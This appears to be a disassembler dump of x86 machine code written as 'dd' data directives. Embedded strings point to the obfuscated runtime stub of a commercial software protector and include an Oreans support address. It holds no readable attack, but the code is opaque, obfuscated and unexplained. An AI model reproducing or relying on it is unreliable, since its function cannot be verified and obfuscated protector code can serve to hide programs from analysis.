8D0F5906h, 6, 32159523h, 11E90603h dd 31000001h, 302899Dh, 2FE906h, 8D8B0000h, 603027Dh, 0F01F883h dd 2085h, 8E900h, 0DA00000h, 0CD3F69A7h, 12E9DDA6h, 8B000001h dd 312A18Dh, 81666006h, 0F818E7CFh, 0F14EE961h, 0B529FFFFh dd 6032A81h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 220712C3h, 0C88BCA8Bh, 1039BD83h dd 75000603h, 1DBD8309h, 60311h, 53501974h, 0DDB8C08Bh dd 89000007h, 3177585h, 919D8D06h, 0FF0605B0h, 83585BD3h dd 3111DBDh, 17740006h, 0DDB85350h, 89000007h, 3177585h dd 809D8D06h, 0FF0605ADh, 0E9585BD3h, 6, 92A92901h, 6A8F99h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0B0B313C3h, 8E8h, 0B3176800h, 96F40694h, 870F7Ch, 5A000000h dd 0B860C08Bh, 2C3A355Ch, 12B5BD29h, 8B610603h, 31AA18Dh dd 204E906h, 958B0000h, 6031265h, 0FC19858Dh, 8C0F0605h dd 0Bh, 6E9h, 809CF200h, 89526BD1h, 5FE1185h, 0F1816606h dd 3AE9FDBFh, 89000000h, 31211B5h, 21858D06h, 0BA0605FAh dd 7BC07A7Ah, 89D78B40h, 5FE1185h, 14E806h, 4AAD0000h dd 0CE00DC01h, 79AF682Bh, 0CA00F8BEh, 25FA454h, 0D28123D7h dd 59B07F71h, 8D346A5Ah, 31DA585h, 0B5FF5006h, 605FE11h dd 95FF006Ah, 6031AE1h, 0F07F883h, 16284h, 0DB8C6600h dd 0F04C3F6h, 0FC85h, 3985C600h, 5606032Fh, 0A8B85268h dd 59B5FF9Ch, 8D060313h, 338A785h, 6AD0FF06h, 10006804h dd 646A0000h, 0D0FF006Ah, 0FE848589h, 85C60605h, 6032F39h dd 0AC9B6847h, 0B5FFEC18h, 6031359h, 38A7858Dh, 0D0FF0603h dd 0F08BD0FFh, 2F3985C6h, 684F0603h, 0C62F2661h, 175B5FFh dd 858D0603h, 60338A7h, 9D8DD0FFh, 605FE80h, 56286A53h dd 0C085D0FFh, 85C60075h, 6032F39h, 64986841h, 0B5FFDB87h dd 6030175h, 38A7858Dh, 0D0FF0603h, 0FE9D8589h, 85C60605h dd 6032F39h, 0E7A4684Ch, 0B5FF80A4h, 6030175h, 38A7858Dh dd 0D0FF0603h, 0FE849D8Bh, 5B8D0605h, 9D8D5304h, 605FE89h dd 0FF006A53h, 849D8BD0h, 0C70605FEh, 103h, 0C43C700h dd 2, 64985C7h, 603h, 6A0000h, 6A006Ah, 0FE849D8Bh, 6A530605h dd 80B5FF00h, 0FF0605FEh, 5FE9D95h, 3985C606h, 4506032Fh dd 0A5F79768h, 11B5FF92h, 8D06032Dh, 338A785h, 6AD0FF06h dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 849D8B32h, 0C70605FEh dd 0C43h, 6A0000h, 9D8B006Ah, 605FE84h, 0FF006A53h, 5FE80B5h dd 9D95FF06h, 0FF0605FEh, 5FE80B5h, 0E195FF06h, 6A06030Ah dd 0F195FF00h, 29060320h, 30AD195h, 8E906h, 0CBF90000h dd 0E884235Fh, 858D83D1h, 6063122h, 38E0Fh, 0BF0F0000h dd 0B70F50D6h, 35FF64D7h, 0 dd 31850956h, 59060302h, 258964h, 60000000h, 0BE8h, 0F43B9900h dd 1ADC4B5h, 9E2F4EDDh, 9E9B529h, 8B5A0603h, 320499Dh dd 0BD836106h, 6032CDDh, 70840F00h, 66000000h, 0BAA0DF81h dd 1E91BD83h, 0F010603h, 5E85h, 6810F00h, 8B000000h, 31A9595h dd 9DBD8006h, 60602h, 45850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DCCDEDC3h dd 0E9C88B66h, 189h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0C9C35343h, 33DD127Ah, 0C58589DBh, 3306030Fh dd 7E8C0h, 1C20000h, 0F2230DE4h, 39BD8916h, 5A060313h dd 73F0F40h, 58F640Bh, 0 dd 8904C483h, 31B4595h, 49958B06h, 83060313h, 840FFFFBh dd 0Bh, 12C99533h, 14E90603h, 0E9000001h, 72h, 30D1B529h dd 4C8B0603h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h dd 5C8BC3C0h, 0E8550C24h, 0 dd 44ED815Dh, 8B060631h, 0B883h, 35858D00h, 89060632h dd 0B883h, 0C0335D00h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0FDFC786Ch, 0BD8B4D88h dd 60310D9h, 24818D29h, 858D0603h, 606313Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 4EC35646h, 950D2B6h dd 32C65BDh, 35FF6406h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A3C35040h dd 0D25F34E7h, 9E92A06h, 65000000h, 6237FDE5h, 3650CD19h dd 258964h, 0F000000h, 680h, 0F98D8B00h, 0B9060302h, 0Ah dd 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h, 31C8585h dd 106h, 58F6400h, 0 dd 0E904C483h, 13h, 7D2D72C1h, 21538D7Dh, 0E4B4753Fh, 9BB32C96h dd 8BBAD2EBh, 31FD9BDh, 8BC08B06h, 30BE995h, 39BD8306h dd 60310h, 0BD830975h, 603111Dh, 50197400h, 0B8C08B53h dd 43Dh, 23918589h, 9D8D0603h, 605B0F8h, 585BD3FFh, 111DBD83h dd 74000603h, 0B8535017h, 43Dh, 23918589h, 9D8D0603h, 605AD99h dd 585BD3FFh, 14658501h, 6A0603h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0C13A4FC3h, 8E9F266h dd 0E3000000h, 0FA393AD7h, 8BD41DD1h, 3127595h, 0E9C08B06h dd 13Ah, 4, 35382E31h, 35h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh dd 603326Dh, 2D840F00h, 8D000001h, 5ABB085h, 858D5006h dd 605AB1Ah, 16850h, 95FF8000h, 605ABC0h, 32F0858Dh, 8D500606h dd 632FA85h, 6A5006h, 858D006Ah, 605AB2Eh, 0B0B5FF50h dd 0FF0605ABh, 31A4D95h, 0F0858D06h, 50060632h, 32FE858Dh dd 6A500606h, 8D006A00h, 5AB4085h, 0B5FF5006h, 605ABB0h dd 1A4D95FFh, 858D0603h, 60632F0h, 0A858D50h, 50060633h dd 6A006Ah, 0AB8D858Dh, 0FF500605h, 5ABB0B5h, 4D95FF06h dd 8D06031Ah, 632F085h, 858D5006h, 6063312h, 6A006A50h dd 0AB858D00h, 500605ABh, 0ABB0B5FFh, 95FF0605h, 6031A4Dh dd 32F0858Dh, 8D500606h, 6330E85h, 6A5006h, 858D006Ah dd 605AB94h, 0B0B5FF50h, 0FF0605ABh, 31A4D95h, 0F0858D06h dd 50060632h, 3302858Dh, 6A500606h, 8D006A00h, 5AB9C85h dd 0B5FF5006h, 605ABB0h, 1A4D95FFh, 858D0603h, 60632F0h dd 6858D50h, 50060633h, 6A006Ah, 0ABA3858Dh, 0FF500605h dd 5ABB0B5h, 4D95FF06h, 0FF06031Ah, 5ABB0B5h, 2D95FF06h dd 0E9060320h, 0A2h, 445BD83h, 0F000603h, 9584h, 91BD8300h dd 6031Eh, 11850Fh, 958B0000h, 6032F05h, 1CF8C281h, 0FE90000h dd 8D000000h, 30B8995h, 34528B06h, 0C340C281h, 95893BD4h dd 6031175h, 1175BD83h, 0F000603h, 5584h, 759D8B00h, 83060311h dd 38B4CC3h, 32FA8589h, 9D8B0606h, 6031175h, 8B50C383h dd 0FE858903h, 8B060632h, 311759Dh, 54C38306h, 8589038Bh dd 606330Ah, 11759D8Bh, 0C3830603h, 89038B58h, 6330E85h dd 759D8B06h, 83060311h, 38B5CC3h, 33028589h, 0BD830606h dd 603326Dh, 0D850F00h, 83000000h, 30445BDh, 840F0006h dd 68h, 3312B5FFh, 0B5FF0606h, 6063306h, 3302B5FFh, 0B5FF0606h dd 606330Eh, 330AB5FFh, 0B5FF0606h, 60632FEh, 32FAB5FFh dd 858D0606h, 60632F4h, 2C858D50h, 50060633h, 0D05858Dh dd 0FF500603h, 3128595h, 24C48306h, 858D406Ah, 6063316h dd 5858D50h, 5006030Dh, 95FF006Ah, 6031AE1h, 95FF016Ah dd 60320F1h, 0BE8C18Bh, 0AD000000h, 0F97C550Bh, 132E4DEEh dd 0DF8B4EA3h, 0F3E3805Eh, 6CF4C681h, 0B2600000h, 128E0FA1h dd 0E9000000h, 0Dh, 6EFA14E9h, 4A63561Ah, 0DC3DF5E7h, 0DBA617Ch dd 6600001Bh, 8B3F55BFh, 0C081FC06h, 61FC13CFh, 8D0Fh dd 0C0810000h, 139EEBADh, 0C081FB8Bh, 37120A2Ah, 5820Fh dd 50BB0000h, 5011E082h, 0CE9h, 0F5D2FC00h, 0DCD85F3Ah dd 6441DB89h, 0B3068F93h, 0F2EE818Fh, 81739C4Eh, 9C4EEEC6h dd 835F5173h, 850F01EAh, 18h, 2CE996B1h, 0A000000h, 46141552h dd 0EFD4A993h, 5D45D30Ah, 0AAE50099h, 9E8h, 22DF6600h dd 0ED18204Ah, 0D88BC465h, 0FF7DE959h, 3824FFFFh, 6083D46Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 17C35545h dd 0D48A37EFh, 8166C08Bh, 83B652C2h, 31039BDh, 9750006h dd 111DBD83h, 74000603h, 8B535019h, 40EB8C0h, 85890000h dd 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh dd 50177400h, 40EB853h, 85890000h, 6031775h, 0AD809D8Dh dd 0D3FF0605h, 0FE8585Bh, 52000000h, 632CE645h, 2CAD3158h dd 4D64CB70h, 0B4B999BCh, 5911E333h, 0C08BD68Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 53C35646h, 95878DE9h dd 3FFB1438h, 7800F2Fh, 0F000000h, 188h, 0BF0FF800h, 0B8A0FF6h dd 0E9000000h, 6, 47A61725h, 0BD838F5Fh, 6032CDDh, 12840F00h dd 0F000000h, 58Eh, 8E48BA00h, 4CE909D1h, 0B5000002h, 0E8DF8C2Ch dd 0Bh, 0DE17EDC2h, 6CDD3F79h, 8B4EB1A8h, 0F7665ED0h, 0F0004C7h dd 22A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 5D5DA15Fh, 0AFE7D4E1h, 8B66B56Eh dd 7E9CBh, 0B2960000h, 3959DFA3h, 0BF1Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 9932B2C3h, 6616B9EFh, 0F69F9BAh, 9D8DF1BFh, 6063A35h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 9BC35040h dd 6693D08Bh, 50203BBEh, 50006A93h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0CEFC93ABh, 6ECD776Fh dd 0EFBE6657h, 0FF645E7Ah, 35h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 104C3994h dd 510B08F4h, 7E9h, 249A9700h, 7CD00ADAh, 2589645Ah, 0 dd 8BF1B70Fh, 0AE9C4h, 0BF620000h, 0FEBCBC9Ah, 6C71713Ch dd 0EB01CDh, 6AF7BF0Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8BA4C353h, 58F64F0h dd 0 dd 6A04C483h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0FDEC356h, 48Bh, 5E575600h, 0FC00B59h dd 0C684h, 0B3BA6600h, 0BF0F6177h, 87BD8DC9h, 0F060372h dd 1B8F6BFh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 259CC352h, 23684FF4h dd 8B1F0B5Fh, 8166CF8Ah, 0FF4648F2h, 56006AE7h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0EB7F286Ch dd 0D2152CBEh, 5C8B5713h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh dd 0B0h, 0B88383h, 5F020000h, 0FC3C033h, 8Eh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 36E4548Ah, 0E1E0B966h, 0EE9h, 4E98B900h, 62517BFCh dd 1E37D923h, 618A4AACh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 7EC35747h, 0D68B3322h, 6AC08Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 54B2A1C3h, 0D82538ACh, 0BD839882h, 6031039h, 83097500h dd 3111DBDh, 19740006h, 0C08B5350h, 40EB8h, 91858900h dd 8D060323h, 5B0F89Dh, 5BD3FF06h, 1DBD8358h, 60311h, 53501774h dd 40EB8h, 91858900h, 8D060323h, 5AD999Dh, 5BD3FF06h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0AB8C49FEh, 474EA5F4h, 11E9B577h, 6B000000h, 4B2B1Fh dd 6B51A2A7h, 0FF763AD2h, 0EFE606E6h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0F3C35343h, 689B1260h, 6AC08Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0F918CCC3h, 0F9F5E252h, 13E9h, 889AF300h, 0CC9CDEB0h dd 0EC6F7DD7h, 7D97FBECh, 0E25FC4AFh, 18EBC28Bh, 9B46F317h dd 5 dup(0) dd 20BE9h, 5C8B6000h, 0E82424h, 5D000000h, 3BE7ED81h, 0C2610606h dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh dd 0F6E90008h, 0FFFFFFh, 0 dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 63C1FB5h, 0E68106h dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 63C23B5h dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h dd 6031175h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 31E6D95h, 10F5006h dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6031175h dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 1175858Bh, 18860603h dd 850FDB0Ah, 0FFFFFFF6h, 2B0585C7h, 603h, 448B0000h, 988B0824h dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h dd 32B0585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h dd 29840F04h, 0C7000000h, 63BC485h, 106h, 10F5000h, 8FFE244Ch dd 63BC885h, 0C0858D06h, 8D06063Bh, 63BC8BDh, 0E9388906h dd 23h, 0B89858Dh, 408B0603h, 0F3170538h, 85899B46h, 6063BC0h dd 0B89858Dh, 408B0603h, 0C485893Ch, 8D06063Bh, 63BDD85h dd 6D858906h, 0E906031Eh, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh dd 7, 6280630h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah, 0AC000000h dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 63E5085h, 91858906h dd 8D060303h, 63E7885h, 45858906h, 8D060331h, 63EA085h dd 49858906h, 0EB060322h, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 91858B24h dd 8D06031Eh, 68D0D85h, 8B088B06h, 100088h, 660A8B00h dd 89FC4A8Bh, 63F018Dh, 31BD8306h, 60328h, 0F840Fh, 6A600000h dd 0B995FF00h, 6106031Fh, 0FFFFC4E9h, 728966FFh, 10CEC1FCh dd 2728966h, 5A04CD52h, 3EFD8589h, 0B58B0606h, 6063F01h dd 6610CEC1h, 8B027289h, 63F01B5h, 72896606h, 858B61FCh dd 6063EFDh, 0C9958DC3h, 89060317h, 3117595h, 0FD958906h dd 0FF060301h, 301FD85h, 3985C606h, 5306032Fh, 0B148D868h dd 59B5FFFCh, 8D060313h, 338A785h, 89D0FF06h, 31FB985h dd 0F7858D06h, 8906063Bh, 30F8585h, 51E906h, 8B600000h dd 3242474h, 7C8B3C76h, 0D68B2824h, 0F8C281h, 8B660000h dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh, 1C247C89h dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh dd 9FD3Eh, 5EE900EBh, 0E9000006h, 652h, 640FD68h, 3D2BE906h dd 5568FFFDh, 0E9060642h, 0FFFD3D21h, 6434768h, 3D17E906h dd 68FFFDh, 0E9060644h, 0FFFD3D0Dh, 6450C68h, 3D03E906h dd 0A948FFFDh, 20FD4004h, 8E60F59Bh, 0FA926765h, 6D0297F5h dd 73A20044h, 3BA95227h, 0AF3DC256h, 0DDB338DAh, 4C00A548h dd 3CD57535h, 807108B0h, 0F26F73F0h, 47770EF0h, 770EF0CEh dd 168F9B55h, 0D770EF1h, 0EF0A43Dh, 524D1877h, 85012987h dd 94770EF0h, 0F19B20F1h, 93301894h, 0E8770EF0h, 770EF06Ah dd 39FEECAFh, 60283B07h, 1D27A484h, 7803F70Eh, 72EC3C7Ah dd 0C8F5113Eh, 0F280651Dh, 64369BC9h, 0F7A0D5Fh, 771D991h dd 75EF0E0Ch, 0FDA4CFE6h, 513966D3h, 4D1BCh, 0A344D700h dd 36BB582Dh, 8029CF52h, 109579CCh, 0E308E97Ch, 82D807EDh dd 3D80C4EDh, 0A134585Dh, 0D7BA2ED3h, 8829BF40h, 0B0A13A0Eh dd 6D1F7108h, 0A2432A8Eh, 0A38E6104h, 35F8CFA9h, 0F2917CB2h dd 4C1C9821h, 0E6326A4h, 0B237D877h, 44945DAh, 0E2B67758h dd 0E3E50EEFh, 3383D70Bh, 3A297DA1h, 0C0C17899h, 0EB4EF68h dd 0F99E4D77h, 58D454F3h, 99976235h, 8D32DA33h, 507319ECh dd 5B3287C5h, 0CA84325Ah, 0EE4E57Eh, 0A0745B77h, 5134B01Fh dd 8B30C1BEh, 60C8823Ch, 770EE4E7h, 422A8655h, 770F53C1h dd 0EF10E7A0h, 7ACEE8FDh, 770EE4E1h, 0AF3D885Fh, 7B7C1CF1h dd 45AEB6FDh, 3BF5996Dh, 0E820C9AAh, 770EF06Fh, 0F1059EAAh dd 0EC7B770Eh, 504A26B5h, 3BCh, 0A2432AE3h, 0F7996C2Ah dd 71CF9AF2h, 0EF0BB59h, 99CD4F77h, 0DB892EC1h, 0B32CFCBAh dd 9770EF0h, 0D5A70A42h, 42D5B82Ch, 0B36D2BBDh, 0EF0FE97h dd 19974277h, 109E5AEh, 0FEC160D2h, 0D14F1DE8h, 91E8100Eh dd 18946CF3h, 4B1DA275h, 821512E6h, 937E6B7Dh, 20B02DFDh dd 0B040770Eh, 9B270EC5h, 0BD087563h, 0F3F19C2Bh, 0BC45D6B7h dd 0A286C0h, 0BE7511BEh, 3A57882Bh, 620AE0D0h, 379EFh dd 1B9C7F00h, 0EE13E075h, 788117FAh, 0C8ED8114h, 5B603184h dd 2A80BF35h, 4528BC45h, 0C95C30B5h, 7FC2862Bh, 20711798h dd 0AE49C266h, 5B77108h, 0A2432A66h, 0B8904A04h, 770EF01Fh dd 45DECE9Dh, 0BB770EF0h, 5538502Ch, 0C15AEEC2h, 3F770EF0h dd 0C0A5DDA8h, 5C2C882Dh, 88630BDAh, 0C1598B4h, 80C8571Fh dd 761A6FC5h, 9364F2BBh, 0DC9A69F1h, 0ECDD34Ch, 0D7A22977h dd 2CDCF89Bh, 9ADC51CDh, 65A24A1Eh, 0B4770EB9h, 7D866BFAh dd 0B52E7E6Bh, 0B770EB9h, 0E1F73B5Ch, 3AA6939Eh, 0A3F16EBEh dd 4528770Eh, 0B5E0EB3h, 0B738D8ADh, 0A3900DD5h, 0FA8B770Eh dd 63846B18h, 1B917C69h, 0A7C3E1ACh, 0A5762FC6h, 7D3BB11Ch dd 0A82109C3h, 14770EA3h, 0B5C3EB41h, 237511A8h, 21F2AF4Ch dd 0D5750D98h, 710B9A3Ch, 374ED580h, 0E0D04EF0h, 8738D5B5h dd 6D000002h, 967B698Eh, 5E8FC05h, 0B71A4E73h, 278ADEDFh dd 493BA952h, 0B237D88Eh, 6A74BDEh, 941DFF42h, 658A6DF0h dd 0F0585E67h, 7108AD57h, 2A5013A5h, 472AA243h, 0CE5D0FB0h dd 0A5480256h, 9CAC6600h, 770EF103h, 40436835h, 0CD4B1F95h dd 0A6825A38h, 770EF02Dh, 8379C493h, 6D51ACB0h, 1E6AB99h dd 1D40000h, 0F06AE347h, 0FBD6770Eh, 92F7911Ah, 481A907h dd 3C770EF1h, 0A237555Eh, 0DCA12BD0h, 70D3B53Eh, 0BF40D7B6h dd 0F83CB82Dh, 0FB0092D4h, 52465E95h, 885D996Dh, 7664C0E5h dd 48h, 6785F081h, 25FF4Bh, 4C1B7512h, 0D009F835h, 3429C1E0h dd 1CEh, 22A6472Ah, 5735BE5Fh, 0C1872CC2h, 7117987Ch, 0E2E60BECh dd 0F081D500h, 603085CBh, 0D6A4095Fh, 432ABF2Dh, 13972EA2h dd 8AC9E37h, 9152E271h, 0EEFFA0E6h, 99321608h, 0E7770DFDh dd 2DE82F70h, 9FABE543h, 770EE0FEh, 33E5E772h, 7EF23D60h dd 8967A34Ch, 6C2716E4h, 20AA3D38h, 64D2B61Dh, 72CEF381h dd 1577781Fh, 0CC5C2952h, 770ED553h, 315722A9h, 3BDDCEACh dd 24B3D6B6h, 0B53ADDA0h, 5AA4ED3h, 0ED9DC047h, 8D1A1A1Eh dd 0FBC55F5h, 5500770Eh, 0F36CBCFAh, 49770E0Fh, 0B94CCA82h dd 0D2B7D1D6h, 545D3356h, 260A7730h, 918FAEE2h, 1D4FDA99h dd 0B7D5DEB0h, 0E7BEA67h, 37B5C077h, 8469AF7Bh, 10C77511h dd 0DDE6B756h, 50593A8Fh, 34B14516h, 7AC5430h, 481D4F70h dd 0E50AEEFDh, 620AE6E3h, 94F4FD9Fh, 4446909h, 0BAD2D7B9h dd 4A64820Dh, 56D2D3BBh, 0AA063018h, 0E1746F0Eh, 0D36F7FCEh dd 578A62E6h, 0C2h, 3E525326h, 0A321CAABh, 0DDB338DEh dd 4D03A448h, 0FE9217F8h, 0FC9DC974h, 6C0C91F7h, 0E2B0054Bh dd 4F268BD9h, 1F9B3AAEh, 8AB920Bh, 9D5EEE71h, 2AA2432Ah dd 7E8CAB6Ch, 0D5EFF2F5h, 42630A5Fh, 27E1990Ah, 0E0C8A03h dd 8563F677h, 42D56DB1h, 0BA4B05BDh, 62FB2DD2h, 0B9770E0Ch dd 0E0CF891h, 0BE914477h, 0A394D2Bh, 996C6DF2h, 13EDh dd 0F16F0E00h, 3770EF0h, 0D9E2B36Ch, 21FB1E72h, 7A000000h dd 0EF0F26Fh, 0B26B0277h, 0A63F0BE1h, 1A770EF0h, 0FDE8E04Fh dd 13C47216h, 0EFC6F26Fh, 39BA361Fh, 67886C01h, 5F9CA689h dd 12h, 7EB46721h, 95AA17DEh, 0F3E8A0F1h, 0E18BC689h, 472A880Bh dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 500B4008h, 405E089h dd 83000000h, 48704E8h, 24248B24h, 7C3B68h, 240C8900h dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68240489h, 6064062h dd 81240C8Bh, 4C4h, 6A9B6800h, 24890000h, 24048124h, 4 dd 3D906858h, 14890000h, 89CA8924h, 8B5A0850h, 89512404h dd 4C181E1h, 83000000h, 0C8704C1h, 0C8B5C24h, 0E6895624h dd 4C681h, 0C6810000h, 4, 5C243487h, 0FD36ECE9h, 0FAEDB7FFh dd 7F83B52Dh, 0F3B89F9Ch, 3060645h, 0EBD18BC5h, 20h, 7 dup(0) dd 5A9E900h, 9DE90000h, 68000005h, 606486Fh, 0FD36A4E9h dd 492A68FFh, 9AE90606h, 68FFFD36h, 6064AF8h, 0FD3690E9h dd 4B6668FFh, 86E90606h, 0F5FFFD36h, 7EC38126h, 0ED70149Dh dd 1FE2E60Bh, 8F127677h, 2183C1EAh, 2ACFA0F6h, 0BE3FD3A6h dd 0CB5472Ah, 9D22F558h, 58F0B6CFh, 7108AABFh, 2AE88B3Dh dd 0F7B04744h, 9ECB9D26h, 0A10C5933h, 0F0821F27h, 0E88EF70Eh dd 0ABA7505h, 0C9457788h, 9CC9836Eh, 9DC81C20h, 279D26C8h dd 6C9D081Ch, 26CA9B19h, 0D52EF081h, 996E524Fh, 183923h dd 6FBA0000h, 770EF0F1h, 7630AED9h, 0CB28CD2h, 29BF2A75h dd 2B34h, 6C014F00h, 0B563658Eh, 0EF0FC95h, 0E954077h dd 0F0FD9AB2h, 0A2ED770Eh, 98DE6A04h, 16750CB2h, 0C0930D43h dd 4A584347h, 981B911Fh, 6AE34701h, 0D6770EF0h, 2EC0A503h dd 0B055C385h, 0DA8FD9E2h, 5A5E4E5Eh, 2F892BD6h, 5731B65Eh dd 309F24CAh, 1A5C80B4h, 6E194F74h, 1AEB8721h, 0B61B4D72h dd 0F573DEDFh, 1F26FBBh, 9B4EF70Fh, 64896CF1h, 463C4760h dd 7A30EAFh, 120C1523h, 0B4D483F5h, 11FFEF6Ch, 486D01FDh dd 0D5DABD00h, 0AC2505B3h, 10FD11FFh, 0D0043845h, 0E19B5F66h dd 11FFD049h, 0C3B92CFDh, 0FEB8ABFFh, 2666876Fh, 0FD11FFADh dd 1E2A4413h, 0FD11FF85h, 0A3906CFBh, 1F705D99h, 8356h dd 85F0E100h, 0D7914B67h, 0DA5B4904h, 74540635h, 770DFBDBh dd 48C16921h, 0B4770DFBh, 0CEDE5A21h, 750C244Bh, 5C4D23C2h dd 0D3A934B9h, 0BA4B67F2h, 0A0492AD3h, 0B2D6BD28h, 0CA7482Fh dd 0E0D5DC5Ch, 40F46901h, 45000003h, 0CE5331B6h, 7DC0842Dh dd 0EF72169Bh, 1FE2E607h, 9113717Ah, 5A5F3066h, 2ECFA336h dd 0BC45D7BAh, 0DB24528h, 0A880065Fh, 7108A82Fh, 5A78FB8Dh dd 30Bh, 0A5491Ch, 2CA71D48h, 0AF47442Ah, 129A30Eh, 770EF084h dd 0EF0DCF9h, 0F0B55177h, 8D0A770Eh, 0E2770EF0h, 770EF065h dd 2D4AE3B4h, 81AD6ADBh, 986F07F0h, 0F874966Dh, 0E6B33D0h dd 7107E6B7h, 3843EC48h, 0A342FCBAh, 